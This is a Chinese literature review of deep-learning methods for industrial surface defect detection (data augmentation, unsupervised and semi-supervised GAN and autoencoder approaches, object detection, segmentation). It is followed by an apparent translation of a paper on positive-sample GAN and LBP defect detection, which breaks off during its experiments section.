传统的工业生产采用的缺陷检测方法通常为人工检查，由生产线上的工人对产品逐个或抽样用肉眼和仪器查看。这一方法消耗大量人工并且效率低下，更重要的是人眼判断往往过于主观，难以统一客观标准。在一些产量巨大的现代自动化生产流水线上，人工检查显然是一个完全不可行的方法。随着计算机硬件和计算机视觉技术的发展，使用计算机视觉进行产品缺陷检测成为了一个低成本且高可靠性的方法。

1.2 任务定义

基于计算机视觉的缺陷检测指的是使用产品在某些电磁波波段的成像，通过计算机算法，来判断是否存在缺陷。在图像采集阶段，根据成像所使用的波段，可以大体分为可见光成像、红外成像、X光成像、毫米波成像等。具体方法需要根据产品特性和实际需求来选择，但是由于大部分的产品特性和成本关系，缺陷检测中最常见的是可见光成像，也就是普通的摄像头。本文将仅围绕可见光成像的缺陷探测方法展开，其他波段的检测方法可能略有不同。

在检测阶段，使用的检测算法主要分为两大类：传统算法以及机器学习算法。检测的目标首先是判断目标产品是否存在缺陷，根据需求可以进一步拓展为缺陷的类型判断，以及获取缺陷的具体位置。本文将就此话题展开，讨论缺陷检测的难点，接着介绍及分析一系列解决方案。

二. 缺陷检测难点

2.1 缺少数据

缺少数据，准确的来说是缺少缺陷样本，是训练缺陷检测模型会遇到的一大难题。对于绝大部分的生产线，拥有缺陷的次品样本仅占所有产品的极少一部分，这使得训练数据的类别极端不均衡。就算样本总量达到较大的数值，缺陷样本仍然只有寥寥无几，在普通的监督学习中非常容易导致模型的训练过程难以拟合，模型的泛化能力也很难达到理想水平。这将直接使得最终模型的检测结果准确率低下。

2.2 标注困难

数据标注在绝大部分监督学习训练中都是一个难题。首先是高昂的人工成本，这使得数据集的标注成本随着数据集的大小飞速上涨。当数据集大小达到令人满意时，标注成本可能已经不可承受了。另外，在缺陷检测问题中，由于绝大部分缺陷都非常细微，这个特性导致人工标注的难度相较普通的图像分类和目标探测进一步提高，而最终人工标注结果的准确率也未必能达到理想水平。这进一步导致了缺陷样本的短缺，并且不够准确的标注数据也将进一步导致模型结果不尽人意。

2.3 缺陷特征识别困难

上一段中提到了缺陷通常较为细微这一特性。不只是对于人眼，这对机器视觉同样是一个挑战。使用传统算法检测时，人工指定的图像特征往往难以提取到这些细微的区别，并且非常容易受到拍摄条件例如光线、角度、白平衡等的影响，算法的健壮性难以保证。使用机器学习算法检测时，模型也会面临更大的挑战，尤其是一些已知对于小目标探测准确率较差的模型，在这个问题上将难以获得令人满意的结果。

三. 缺陷检测方法

3.1 应对数据缺少

3.1.1 数据增强

Xu X. 等人 [1] 提出了一种基于小样本驱动的卷积神经网络（Small Data-Driven Convolution Neural Networks, SDD-CNN）检测方法，在常规的数据处理和训练阶段之间加入了数据增强的操作。首先，对样本使用标签扩充（Label Dilation, LD）方法，把数量较少的类别随机扩充到和数量最多的类别相同的大小。这样一来，样本类别不均衡的问题就解决了，并且数据集的随机性能够继续保证。

在标签扩充后，他们继续对数据使用半监督的数据增强（Semi-Supervised Data Augmentation, SSAD）算法。在一般的数据增强场景下，随机切割、缩放、旋转、翻转、增加噪音等方法都非常常见。然而缺陷检测的场景下，缺陷往往只占样本图像的极小一部分，对缺陷样本随机切割后有较大概率会得到一个无缺陷的图像，从而产生标签的不一致。SSAD 方法使用第一步标签扩充后的数据单独训练了一个 GoogLeNet 分类模型，然后通过遮挡实验来生成所有样本在模型最上层卷积层中的特征响应热度图（characteristic response intensity map）。在响应强度较大的范围内（即缺陷所在位置）随机挑选三个点作为随机切割的中心，实施随机切割。这样一来，SSAD 就可以保证随机切割出的图片和原样本是同样的标签，并且能够有效的提升数据集的丰富程度。

3.1.2 无监督学习

无监督学习指的是不需要训练，或者是不需要对训练集进行标签标注的方法。难以标注的缺陷数据显然非常适合这一类方法。

Mei S. 等人 [2] [3] 提出了基于多尺度卷积降噪自编码器（Multiscale Convolutional Denoising Autoencoder, MSCDAE）的检测方法。在训练阶段，将没有缺陷的图片使用高斯模糊生成高斯金字塔，然后对高斯金字塔的每一层分别训练一个卷积降噪自编码器（Convolutional Denoising Autoencoder, CDAE）对图片进行压缩重构。训练完成后，将有缺陷的图片同样送入高斯金字塔，然后每一层均使用对应训练好的自编码器进行重建，生成没有缺陷的图片。对比每一层的图片差异并结合这些结果，就可以获得最终的缺陷分隔图。

Zhao Z. 等人 [4] 则在自编码器的基础上引入了生成式对抗网络（Generative Adversarial Networks, GAN），提出了一种基于正样本的缺陷检测方法。这种方法把生成式对抗网络的生成器替换成了一个自编码器，自编码器类似上一段同样对输入的图像做压缩重建。重建后的图像不仅需要最小化和原图的差距，同时还需要骗过判别器，尽可能和原数据集的数据分布相似。训练完成后，输入的缺陷图像将会被重建为没有缺陷的样子，这时再结合局部二值模式（Local Binary Patterns, LBP）算法求两者的差别，即可获得缺陷的位置。

Hu G. 等人 [5] 使用了深度卷积生成式对抗网络（Deep Convolutional Generative Adversarial Networks, DCGAN），同样提出了仅基于正样本的无监督检测算法。这个算法在正常的生成式对抗网络的生成器和判别器基础上引入了额外的两个网络，逆变器 E 和浅训练的判别器 D。在训练完成后，缺陷图像会输入浅训练的 D 模型，生成一个缺陷的概率图；同时缺陷图像会输入 E 映射为一个随机向量，然后输入生成器生成重建图像，缺陷图像与重建图像相减可得一张残差图。结合两条路径的概率图和残差图，就可以最终获得缺陷的位置图。

上述三个方法都仅需要使用无缺陷的图像进行训练，无须标注。并且无缺陷图像往往非常容易获得且数量众多，因此这些应用了无监督学习的方法能够轻易解决缺少数据和标注困难的问题。

3.1.3 半监督学习

半监督学习会在训练中结合少量带标签的数据和大量不带标签的数据。这同样能够解决标注困难的问题。

Di H. 等人 [6] 为缺陷分类提出了一种基于卷积自编码器（Convolutional Autoencoder, CAE）和半监督生成式对抗网络（semi-supervised Generative Adversarial Networks, SGAN）的方法。其中半监督生成式对抗网络的部分借鉴了 Odena A. [7] 的方法，在判别器中引入了额外的分类任务。输入网络训练的图像共有 N 个类别，生成式对抗网络的判别器将会输出 N+1 类的结果，包含对这 N 个类别的分类和一个真假的判断，而非正常情况下的一类（真/假）。引入这样的半监督方案有效利用了大批数据中的少量标注信息来完成目标。

Gao Y. 等人 [8] 同样研究了缺陷分类问题，提出了伪标签卷积神经网络（Pseudo-Label Convolutional Neural Network, PLCNN）方法。这种方法使用的数据集并不是完全标注，只有部分样本有对应标签。训练时，未标注的数据会通过最大识别概率打上伪标签参与训练，伪标签数据的损失值会以一定比重参与整体的损失。随着训练进行，该权重会逐渐提升。最终结果表明，这一方法可以有效利用没有标签的数据来进行训练，从而很好的解决了标注困难的问题。

Akcay S. 等人 [9] 则为 X 光安检仪图像的异常探测提出了 GANomaly 方法。该方法结合了对抗自编码器（Adversarial Auto-Encoders, AAE）和生成式对抗网络，把自编码器作为生成式对抗网络的生成器部分，另外再引入一个判别器，共三个子网络。训练阶段，自编码器使用了编码器-解码器-编码器的组合方式进行对抗训练，并且额外再使用生成式对抗网络的判别器来计算重建误差。训练完成后在测试阶段，由于训练集中并不包含异常图像，拥有异常的图像在输入自编码器后将会无法正确重建。比较原图和重建图的编码，若超过一定阈值则判定为异常图像。该方法原本用于 X 光图像的异常探测，但有很大的希望能够在可见光的缺陷检测中也获得较好结果。训练过程仅需要使用无异常的正样本图像，因此解决了负样本缺少的问题。

3.1.4 主动学习

Feng C. 等人 [10] 在 ResNet 的基础上使用了主动学习（Active Learning, AL）的方法来进行缺陷探测和分类。主动学习系统在训练初期只会在一个较小的数据集中训练，随后再加入更多未经标注的数据。系统并不需要所有数据都拥有标签，而是会在训练中主动发现一部分高标注价值的样本，发给专家进行标注，然后继续训练。在这个方法中，有两类的样本被认为是高价值样本：一是分类结果的概率接近 0.5，即神经网络高度不确定的样本；二是按照认定为缺陷的可能性对所有样本进行排序，排名靠前的样本，即神经网络最认为是缺陷的样本。该方法类似于半监督学习，不需要对所有的数据进行标注，解决了标注困难的问题。

3.2 应对特征细微

3.2.1 目标识别

Ma L. 等人 [11] 以及 Wang T. 等人 [12] 分别在不同的缺陷探测问题中运用了滑窗 CNN 的目标识别方法。在一张较大的图像上，一个较小的滑窗（例如 128*128 大小）以一定间隔滑动取样，将小样本输入训练好的 CNN 进行分类。将预测标签为缺陷的区域组合，即可得到缺陷所在的位置。这一方法较为简单，容易训练也容易部署，然而缺点在于获得的缺陷位置较为粗略，无法获得更精确的、乃至像素级别的位置判定。

Cha YJ. 等人 [13] 则在缺陷探测问题上使用了 Faster-RCNN 模型。相较于上一段的滑窗 CNN 方法，Faster-RCNN 会在第一阶段通过 RPN（Region Proposal Network）来提出候选的目标区域，然后再将目标区域送入骨干网络进行分类。由于 RPN 可以快速的筛选出不同大小的兴趣区域，Faster-RCNN 比滑窗的方法拥有更好的性能，而且能更准确的判定缺陷所在的位置。

Li J. 等人 [14] 使用了 YOLO（You Only Look Once）来进行缺陷探测。他们对原本的 YOLO 进行了魔改，把原本末端的全连接层替换成了卷积层来输出最终预测结果。YOLO 顾名思义是一个单阶段的目标探测模型，图像在输入网络后将一次性完成提出兴趣区域和分类。比起前两段的两阶段探测方法，这显然会更快，再加上原本的全连接层被替换为相较更轻量的卷积层，全卷积的 YOLO 在性能上将会非常优秀。

Chen J. 等人 [15] 更进一步，组合了多个网络进行多阶段的缺陷检测。他们提出的方法共有三个阶段：首先通过一个修改了卷积层尺寸的 SSD（Single Shot Detector）网络进行待检测工件的定位，得到位置后切割出该工件的子图；第二阶段使用 YOLO 网络对工件上的螺丝进行定位，分别切割出对应的子图；第三阶段使用一个轻量级的 GoogLeNet 对这些螺丝的子图进行分类，判断是否为缺陷。通过这样的多个网络级联，有效提升了对较小目标的检测准确率。

3.2.2 图像分割

Huang Y. 等人 [16] 使用了图像分割的方法来解决缺陷探测的问题。在经典的端到端语义分割网络 U-Net 的基础上，他们加入了额外的 MCue 和 Push 两个改动，提出了 MCuePushU 模型。MCue 是在特定问题上根据经验提出的传统算法，使用 MCue 可以生成粗略的缺陷高亮图。将原图和 MCue 的输出共同输入 U-Net，为模型分割提供了额外的先验知识。在 U-Net 中间生成的特征向量也被额外送入一个简单的全连接网络 Push，用于绘制缺陷区域的边框。结合 U-Net 和 Push 的输出，即可得到带有边框的像素级缺陷分割图。这一方法能够做到像素级的探测缺陷，并且由于 U-Net 全卷积的特性，该方法拥有相当好的性能。

Qiu L. 等人 [17] 同样使用了图像分割。他们使用了另一个语义分割网络 FCN（Fully Convolutional Networks）用于分割和探测。这个方法单独训练了两个 FCN 分别用于两阶段的检测：第一阶段的 FCN 类似于传统的形态，图像输入后生成一张对应的分割图；第二阶段的 FCN 去掉了升采样的部分，将特征向量直接进行评分，第一阶段获得的疑似缺陷的兴趣区域将会被切割后送入第二阶段的 FCN 进行打分，以过滤错误分割的部分。最后对分割图基于原图做导向图滤波（Guided Filter），获得最终结果。这一方法同样拥有全卷积图像分割的优点，并且多阶段的检测使其能够很好的降低结果的假阳性，有效提升准确性。

3.2.3 自编码器

缺陷探测中，产品表面的外观往往都是有一定规律性的。由于自编码器能够压缩并提取图像特征的特性，这一方法在缺陷检测中非常常用。

Tao X. 等人 [18] 在缺陷探测任务中使用了级联自编码器（Cascade Autoencoder, CASAE）的方法。这个方法顺序连接了两个同样结构的自编码器：原始图像输入第一个自编码器后，输出同样分辨率的缺陷概率图；这个概率图紧接着输入第二个自编码进一步微调。相较于普通的自编码器，编码器部分的最后增加了 1*1 卷积和 Softmax 层以输出概率图。通过级联两个自编码器，CASAE 实现了类似于上一节图像分割的效果。

Mei S. 等人 [2] [3] 提出的 MSCDAE 方法在 3.1.2 节已有粗略介绍。在三层高斯金字塔中分别训练三个卷积降噪自编码器，各自比较原始图和生成的重建图得到缺陷的残差图。结合三层的残差图即可得到最终的缺陷分割结果。他们引入了降噪自编码器，即在训练阶段对输入图像人为添加噪声，有效的提升了算法的健壮性，使得自编码器更好的捕获图像特征，提高准确性。

自编码器与生成式对抗网络结合也是一个热门的方法。

Zhao Z. 等人 [4] 提出的方法已在 3.1.2 有过介绍。这个方法把自编码器直接作为了生成式对抗网络的生成器，利用判别器与之博弈，进一步提升自编码器重建的效果。

Di H. 等人 [6] 的方法同样于 3.1.2 节进行了介绍。不同于 Zhao Z. 等人 [4]，他们提出的方法把自编码器的编码器作为了生成式对抗网络的判别器。训练的第一阶段会先完成对自编码器的训练，保留编码器作为特征提取网络。在编码器的输出层之后再加入一个 Softmax 层，就形成了第二阶段生成式对抗网络的判别器。利用编码器能够有效提取图像特征的特性，对判别器进行预训练，有效提升了最终的分类准确性。

Akcay S. 等人 [9] 提出的 GANomaly 模型则在 3.1.3 节有过了介绍。他们为自编码器使用了特殊的对抗训练方法，通过编码器-解码器-编码器的组合，为损失函数额外加入了编码器输出特征向量的 L2 距离。这样的对抗训练对自编码器加上了更多的约束，进一步提高精确度。除此之外，他们也引入了生成式对抗网络。类似于 Zhao Z. 等人 [4] 的方法，编码器-解码器组合的自编码器整体被视为了生成式对抗网络的生成器部分，通过判别器的拮抗来进一步提高准确率。在测试阶段，他们使用的检测方法并不是比较原图和重建图，而是比较了原图和重建图各自编码的 L1 距离（类似于本段开头提到的额外损失），超过一定阈值判定为异常图像。这一方法有效利用了编码器特性过滤噪声，提升了算法的稳健性。

3.2.4 多尺度特征

由于缺陷通常都非常微小，而待检测的图像往往有较大或有较多的像素，在大尺度的输入中探测小尺度细节对目标探测和语义分割算法是一个重大的挑战。合理利用多尺度特征是解决这个问题的一个明确的方向。

Chen J. 等人 [15] 的方法在 3.2.1 节中已有所介绍。他们级联了三个网络：SSD，YOLO 和简化版的 GoogLeNet，先检测较大的支架，然后检测支架上的紧固件，最后再对紧固件进行缺陷检测。使用如此由粗到细的多尺度模型结构进行探测，有效解决了缺陷尺度过小的问题，获得了不错的准确度。

上一节 3.2.3 的开头提到了 Tao X. 等人 [18] 使用的 CASAE 方法。在自编码器结构中，为了增加网络对于多尺度信息的感知，他们添加了跳跃连接，把多尺度的特征从编码器直接传到对应深度的解码器中，有效结合了多尺度的特征。除此以外，他们还在编码器部分的卷积层中使用了空洞卷积，相较传统卷积有效提升了网络的感受野，从而进一步提升了效果。

Mei S. 等人 [2] [3] 提出的 MSCDAE 方法（已于 3.1.2 和 3.2.3 节中介绍）则更是非常明确的运用了高斯金字塔来获得多尺度特征。三个自编码器分别在高斯金字塔的三层进行训练，在三个不同尺度上分别对缺陷进行捕获。结合三个尺度做检测，很好的解决了缺陷过于细微的问题。

3.2.5 生成式对抗网络

由于生成式对抗网络能够自行学习数据分布进行模仿的特性，使用它进行无监督/半监督学习是一个相当热门的方向。由于这个原因，本节将介绍的四种方法均已于 3.1.2 和 3.1.3 节中提到过了。同时，自编码器能够无监督的进行图像信息压缩提取的特性也与生成式对抗网络能够很好的组合，因此本节四种方法中的三种均于 3.2.3 节提到过，没有涉及的 [5] 虽然没有明确使用自编码器，但是仍然有类似的思想呈现。

Zhao Z. 等人 [4] （3.1.2，3.2.3）把生成式对抗网络的生成器直接替换为了一个自编码器。生成器和判别器博弈的原本目的是为了让生成器生成足够真实、足够符合原始数据分布的数据，这里作用于自编码器的解码器输出，为自编码器提供了另一层约束，使其能够重建出更加准确的图像。

Di H. 等人 [6] （3.1.3，3.2.3）把事先训练好的自编码器的编码器部分用作了生成式对抗网络的判别器。生成式对抗网络一向被诟病的一个问题在于难以训练，交替训练两个网络使其博弈的特点使得整个训练过程对超参数相当敏感，一不小心就没法收敛。使用自编码器对判别器进行预训练无疑极大的缓解了这一问题。不仅如此，在进入生成式对抗网络的训练阶段后，原先自编码器依旧会接受梯度下降的参数更新以保证自编码器的功能。于是自编码器的重建过程进一步成为了训练生成式对抗网络过程中的一个正则项，进一步提升训练效果。

Akcay S. 等人 [9] （3.1.3，3.2.3）提出的 GANomaly 方法中，生成式对抗网络的作用则类似于 [4]，为自编码器的训练提供进一步的约束。在训练过程中，他们为判别器判断的重建图误差使用了一种非常规的计算方式：正常情况下，使用判别器比较原图和重建图的误差将直接使用判别器输出结果（一个 0-1 的数值）的差距。然而在 GANomaly 方法中，这一误差的计算采用了判别器的中间层表示：把原图和重建图在判别器中的中间层表示提取出来，求这两个特征表示层的 L2 距离，即得到两张图的误差。这样的计算能够更精确的比较两张图的隐藏细节差距，进一步提升模型的精度。

Hu G. 等人 [5] （3.1.2）则创新性的在生成器和判别器之外引入了逆变器 E 和浅训练的判别器 D。训练阶段，首先训练生成器和判别器两个网络，使得生成器能够学习到无缺陷样本图像的数据分布。作者为此引入了浅训练和完全训练两个阶段：浅训练阶段使用了较小的学习率，且在生成器生成的图像上加入额外的噪声，当判别器训练到一定阈值即停止。浅训练得到的判别器 D 就可以作为一个缺陷检测器了。浅训练完成后，将会继续按照正常的训练流程对生成器和判别器进行完全训练。在得到生成器、判别器和浅训练判别器 D 后，将会额外训练一个逆变器模型 E，将无缺陷样本重新映射回输入生成器的隐空间。测试阶段，缺陷图输入浅训练 D 的输出是一个缺陷的概率图；缺陷图通过逆变器 E 再输入生成器后可生成无缺陷的重建图，两者相减得到缺陷的残差图。结合这两个结果即可得到最终结果。其中，逆变器 E 和生成器的关系非常类似于自编码器，只不过训练顺序和思路和传统自编码器正好相反。如此引入额外的两个子模型为最终的检测结果提供了更多的约束，使结果更加精确。

四. 小结

产品缺陷检测在工业生产的质量控制环节一直有着相当的重要性，因此各行各业都在努力寻求更精准且更省力的解决方案。计算机技术的飞速发展为自动化的缺陷检测提供了良好的基础，计算机视觉等算法的研究则为更精确的检测铺平了道路。

本文结合近几年的计算机视觉研究文献，总结了多种应对缺陷检测难点的算法和技巧。我之后将结合无监督学习、卷积降噪自编码器、生成式对抗网络等方法，开展毕设项目的设计，完成一个特定场景下的缺陷检测系统。具体设计细节将在毕设论文中进一步展开。

参考文献

[1] Xu X, Zheng H, Guo Z, et al. SDD-CNN: Small Data-Driven Convolution Neural Networks for Subtle Roller Defect Inspection[J]. Applied Sciences, MDPI AG, 2019, 9(7): 1364.

[2] Mei S, Yang H, Yin Z. An unsupervised-learning-based approach for automated defect inspection on textured surfaces[J]. IEEE Transactions on Instrumentation and Measurement, 2018, 67(6): 1266-1277.

[3] Mei S, Wang Y, Wen G. Automatic fabric defect detection with a multi-scale convolutional denoising autoencoder network model[J]. Sensors, 2018, 18(4): 1064.

[4] Zhao Z, Li B, Dong R, et al. A Surface Defect Detection Method Based on Positive Samples[C]//Pacific Rim International Conference on Artificial Intelligence. Springer, Cham, 2018: 473-481.

[5] Hu G, Huang J, Wang Q, et al. Unsupervised fabric defect detection based on a deep convolutional generative adversarial network[J]. Textile Research Journal, 2019: 0040517519862880.

[6] Di H, Ke X, Peng Z, et al. Surface defect classification of steels with a new semi-supervised learning method[J]. Optics and Lasers in Engineering, 2019, 117: 40–48.

[7] Odena A. Semi-supervised learning with generative adversarial networks[J]. arXiv preprint arXiv:1606.01583, 2016.

[8] Gao Y, Gao L, Li X, et al. A semi-supervised convolutional neural network-based method for steel surface defect recognition[J]. Robotics and Computer-Integrated Manufacturing, 2020, 61: 101825.

[9] Akcay S, Atapour-Abarghouei A, Breckon T P. Ganomaly: Semi-supervised anomaly detection via adversarial training[C]//Asian Conference on Computer Vision. Springer, Cham, 2018: 622-637.

[10] Feng C, Liu M Y, Kao C C, et al. Deep active learning for civil infrastructure defect detection and classification[M]//Computing in civil engineering 2017. 2017: 298-306.

[11] Ma L, Lu Y, Nan X F, et al. Defect Detection of Mobile Phone Surface Based on Convolution Neural Network[J]. DEStech Transactions on Computer Science and Engineering, 2017 (icmsie).

[12] Wang T, Chen Y, Qiao M, et al. A fast and robust convolutional neural network-based defect detection model in product quality control[J]. The International Journal of Advanced Manufacturing Technology, 2018, 94(9-12): 3465-3471.

[13] Cha Y J, Choi W, Suh G, et al. Autonomous structural visual inspection using region‐based deep learning for detecting multiple damage types[J]. Computer‐Aided Civil and Infrastructure Engineering, 2018, 33(9): 731-747.

[14] Li J, Su Z, Geng J, et al. Real-time detection of steel strip surface defects based on improved yolo detection network[J]. IFAC-PapersOnLine, 2018, 51(21): 76-81.

[15] Chen J, Liu Z, Wang H, et al. Automatic defect detection of fasteners on the catenary support device using deep convolutional neural network[J]. IEEE Transactions on Instrumentation and Measurement, 2017, 67(2): 257-269.

[16] Huang Y, Qiu C, Yuan K. Surface defect saliency of magnetic tile[J]. The Visual Computer, 2020, 36(1): 85-96.

[17] Qiu L, Wu X, Yu Z. A high-efficiency fully convolutional networks for pixel-wise surface defect detection[J]. IEEE Access, 2019, 7: 15884-15893.

[18] Tao X, Zhang D, Ma W, et al. Automatic metallic surface defect detection and recognition with convolutional neural networks[J]. Applied Sciences, 2018, 8(9): 1575.

摘要

基于机器视觉的表面缺陷检测分类方法可以极大的提升工业生产的效率。在拥有足够标记数据的情况下，基于卷积神经网络的缺陷检测方法的效果已经达到了行业顶尖水平。然而在实际应用中，有缺陷的样本或者说负样本通常难以提前收集，人工标注也非常耗时。在这篇论文中，我们提出了一个新的仅基于正训练样本的缺陷检测框架。基本的检测方法是建立一个重建网络把样本中可能存在的缺陷修复，然后把重建后的图像和原始图像进行对比来获取准确的缺陷区域。我们结合了生成式对抗网络和自编码器进行图像重建，然后使用局部二值模式算法计算图像的局部差异来检测缺陷。在算法的训练过程中，只需要正样本，而不需要缺陷样本以及人工标注。这篇论文附带了对于纤维表面图片和 DAGM2007 数据集的验证实验。实验表明本文提出的生成式对抗网络 + 局部二值模式算法、监督训练算法再加上足够的训练样本能够达到非常高的检测准确率。由于这个方法的无监督特性，它拥有更高的实践价值。

关键词

• 正样本
• 表面缺陷检测
• 自编码器
• 生成式对抗网络

1. 简介

表面缺陷检测在工业生产流程中起到了非常重要的作用，它对于最后投放市场产品的质量和名声都有非常重大的影响。传统的表面缺陷检测方法是采用人眼判断，非常主观、耗财、效率低下还不够准确。

机器视觉系统是一个人眼的可能代替品，但是它在实际应用中仍然有很多问题和挑战。尤其是在数年以前，用来判断缺陷的传统图像特征还是依靠经验来人工指定。传统的图像特征提取的操作特性通常比较低级，在类似光照变化、透视畸变、光线遮挡、物体形变等复杂场景变化下，提取的特征往往不够健壮，无法应对它们，因此许多算法在实际场景下无法应用。最近，深度学习在图像特征提取方面被发展的非常强大，卷积神经网络已经在所有的有监督问题，例如分类、目标定位、语义分割等方面取得了最高的精确度。

Faghih-Roohi 等人 [1] 使用深度卷积神经网络进行了铁路轨道表面的缺陷检测。他们把铁轨图像分成 6 个类别，包括 1 个无缺陷的类别以及 5 个缺陷类别，然后使用深度卷积神经网络对它们进行分类。Liu 等人 [2] 提出了一个两阶段的方法，结合了 selective search 算法的 region proposals 方法以及卷积神经网络。它能够检测并识别获得的区域，然后完成对胶囊表面的缺陷检测。Yu 等人 [3] 使用了两个 FCN 全卷积网络 [4] 语义分割网络来检测缺陷。其中一个用于检测大致位置，另一个用于检测精细位置。它可以精确的绘制出缺陷的轮廓，比原始的 FCN 全卷积网络在 DAGM 2007 数据集 [12] 上获得了更高的精确度，并且可以用于实时检测。

以上所有方法均使用了有监督的训练方式来检测缺陷。在工业检测的实际应用下，有两个问题必须要被考虑到：

训练样本中缺少缺陷样本/负样本。 在实际问题中，训练样本中的缺陷样本总是更少，因为事先收集许多缺陷样本非常困难。因此，训练过程中正负样本的数量会极端不平衡，导致生成的模型可能不稳定甚至无效。在缺陷的出现数量可变且不可预测的场景下，有监督检测方法常常无法达到目标精度。

人工标注代价巨大。 在实际的缺陷检测应用中，往往有多种缺陷种类，检测标准和质量等级也往往不同。这要求有一大批训练样本为了特定需求被人工标注，需要非常大量的人力资源。

考虑到以上有监督学习算法目前在实际应用中的问题，我们提出了一种基于正样本训练的缺陷检测方法。该方法的训练过程仅仅需要提供足够的正样本，不需要提供缺陷样本，也不需要人工标注，就可以实现缺陷检测的目标。

2. 相关工作

2.1 基于正样本的缺陷修复模型

我们提出这个模型的灵感来源于一系列基于生成式对抗网络 [5] 的修复和检测模型。图一所示是生成式对抗网络的原理图，生成器 G 输入一个高斯随机噪声以生成一幅图像，判别器 D 输入一副真或者假的图片，输出这幅图像为真的概率。生成的图像的真实程度会随着生成器和判别器持续博弈的过程不断改进。

图一. 生成式对抗网络的架构

Yeh 等人 [6] 使用了生成式对抗网络用于图像修复。首先，使用一张没有缺陷的图片通过正常训练流程来训练一个生成式对抗网络的模型。随后在修复一个已知位置的缺陷时，优化生成器 G 的输入 z，使得输出 y 和缺陷图片的正常部分达到最相似。图片 y 就是一张修复图。Schlegl 等人 [7] 实现了基于图像修复的缺陷检测。首先，在不提前知道缺陷位置的情况下使用中间层的重建误差来完成一个修复模组。随后计算修复图和原图之间的差距，差距大的地方就是缺陷。由于重建和修复的误差，这个模型的缺陷就是难以通过直接的相减来区分重建误差和微小的缺陷。

这两个模型的明显缺陷是他们都使用了梯度优化来寻找一个正确的 z，然后进一步获得修复图。这个过程需要消耗不少时间，非常不实用。所以我们希望通过自编码器来修复缺陷图片。

2.2 自编码器

Pix2pix [8] 使用了自编码器结合生成式对抗网络的方法来解决图像翻译的任务，它能够生成锐利并且真实的图像。为了在细节和边缘部分达到更好的结果，pix2pix 使用了类似于 Unet [9] 的跳跃连接结构。这个结构并不适合于移除整个缺陷，所以我们的模型中没有采用这个结构。 图像翻译任务通常指的是给黑白照片上色，或是把简笔画转化成一幅相片，等等。我们使用了一个类似的结构来完成缺陷图像到还原图像的转化。

基于以上研究，这篇论文完成了以下工作：（1）我们使用自编码器复原图像。我们能够实时完成图像修复的功能，并通过生成式对抗网络的损失值来提升图像质量；（2）我们在训练中使用人造缺陷，不依赖大量的真实缺陷样本以及人工标注；（3）我们使用局部二值模式算法 [10] 来比对还原图像和原始图像，以此更精确的寻找缺陷的位置。

总而言之，我们提出了一个基于正样本训练且无需人工标注的缺陷检测模型。

3. 方法

本文提出模型的大致框架如图二所示。在训练阶段，$x$ 是一张从训练集中随机挑选的图片。$C(x^\sim|x)$ 是一个人造缺陷模块，它的功能是自动生成一个损坏的缺陷样本，$x^\sim$ 是它的输出。EN 和 DE 构成了自编码器 G，其中 EN 是编码器，DE 是解码器，整个自编码器可以视作是生成式对抗模型中的生成器。G 的任务是修复缺陷图像。D 是判别器，它输出判别对象是一个真实正样本的概率。

图二. 模型的框架

在测试阶段，我们把测试图像 x 输入自编码器 G，获得修复图像 y。然后我们使用局部二值模式算法提取 x 和 y 的特征，对比每一个像素的特征，当特征差距较大时就是缺陷所在。

3.1 目标

缺陷样本在经过自编码器之后应当与原始的正样本相同。这里我们参照 pix2pix 使用 L1 距离作为相似度的标准，L1 距离相对于 L2 距离更倾向于清晰的图片。重构误差定义如下：

如果重构误差仅仅用于目标函数，获得图像的边缘就会模糊，细节会损失。根据 pix2pix 的实验，他们引入了一个判别网络，以此加入生成式对抗网络的损失来改善模糊问题，提升图像的真实度。生成式对抗网络的目标函数如下：

因此总体的优化目标就是找到一组参数组成网络 G，并使其满足：

$\lambda$ 是用于平衡生成式对抗网络的损失和重建误差的参数，由实验来决定。生成式对抗网络损失的引入，在一定程度上会与重构误差冲突，但是能够改进图像质量以及对重要细节的展示。

3.2 网络结构以及人造缺陷

我们提出的网络结构被称为深度卷积生成式对抗网络 [11] 。在生成器和判别器网络中，加入了批标准化层。判别器网络中使用了 LeakyReLU 层，生成器网络中使用了 ReLU 层。编码器的结构和判别器大致相似。

在我们的模型中，自编码器只需要把原始的图片修复到最近的示例样本，而不需要知道缺陷的具体形式。因此当足够的随机缺陷附加在样本上后，神经网络将能够学习修复映射相关的信息。在实际训练中，我们人工生成随机的区块、位置、大小、灰度数值，以及加入图片的缺陷区块个数，如图三所示，来训练网络自动修复缺陷。

图三. 人造缺陷示例图

至于数据增强，我们采用了 0.5 倍到 2 倍的随机缩放，另外还加入了 -180° 到 180° 的随机旋转，以及为图片加入了随机高斯噪声。

3.3 获取缺陷位置

由于还原图像的细节信息中存在一些误差，我们不应该直接使用还原图和原始图相除来获得缺陷位置。我们使用了局部二值模式 [10] 算法来进行特征提取，然后搜寻每个像素周围最匹配的像素。局部二值模式算法是一个无参数的算法，拥有不变性，并且适合用于密集点阵。

获取缺陷图的步骤如图四所示。原始图片 $x$ 和复原图片 $y$ 经过局部二值模式算法获得各自的特征图 $x^+$ 以及 $y^+$。对于 $x^+$ 中的每个像素点，搜索 $y^+$ 对应位置最近的特征值点，这个像素点就是匹配点。求两个匹配点之间的特征值差，取绝对值。得到的值越小，这个点是缺陷的概率就越低。然后使用固定阈值进行二值化，就可以获得缺陷的位置了。

图四. 获取缺陷位置的过程

4. 实验

4.1 准备工作

这篇论文使用了纤维图片以及纹理表面图片来测试模型性能，一共使用了 3 种纤维图片和 1 种纹理表面图片。纤维图片来自这个数据库 [13]，纹理表面图片来自于 DAGM 2007 [12] 数据集。在这篇论文中，我们对比了有监督的语义分割模型 [4] 和我们提出的模型在缺陷检测方面的表现。

开发环境如下：CPU：Intel® Xeon(R) E5620@2.40GHZ*16，GPU：GTX1080，内存：16G，Python 2.7.12 以及 mxnet。我们使用了 Adam 优化器，设置初始学习率为 0.0002，批大小为 64。

4.2 结果

我们在实验中使用了整张图片的平均正确率作为模型性能的评估数值。

纹理表面。 纹理表面拥有很好的一致性，因此训练集中拥有足够的缺陷样本供学习（表一与表二）。

表一. 纹理表面的测试信息

表二. 纹理表面的测试结果

如图五所示，这是一个缺陷检测结果的例子。

图五. (a) 原始输入图像。(b) 还原图像。(c) 我们的结果。(d) FCN 的结果。(e) 真值。

纤维图片。 由于真实场景下纤维样本有多种不同的样子，训练集中的缺陷样本相对比较稀少。在实验中，一共有 5 种类型的缺陷，共有 5 张各种形式的缺陷图，以及 25 个正样本图。对于有监督的语义分割模型，缺陷图中的 3 张用于训练集，另外 2 张用于测试集（表三和表四）。

表三. 纤维图片的测试信息

表四. 纤维图片的测试结果

如图六所示，这是一个缺陷检测结果的例子。

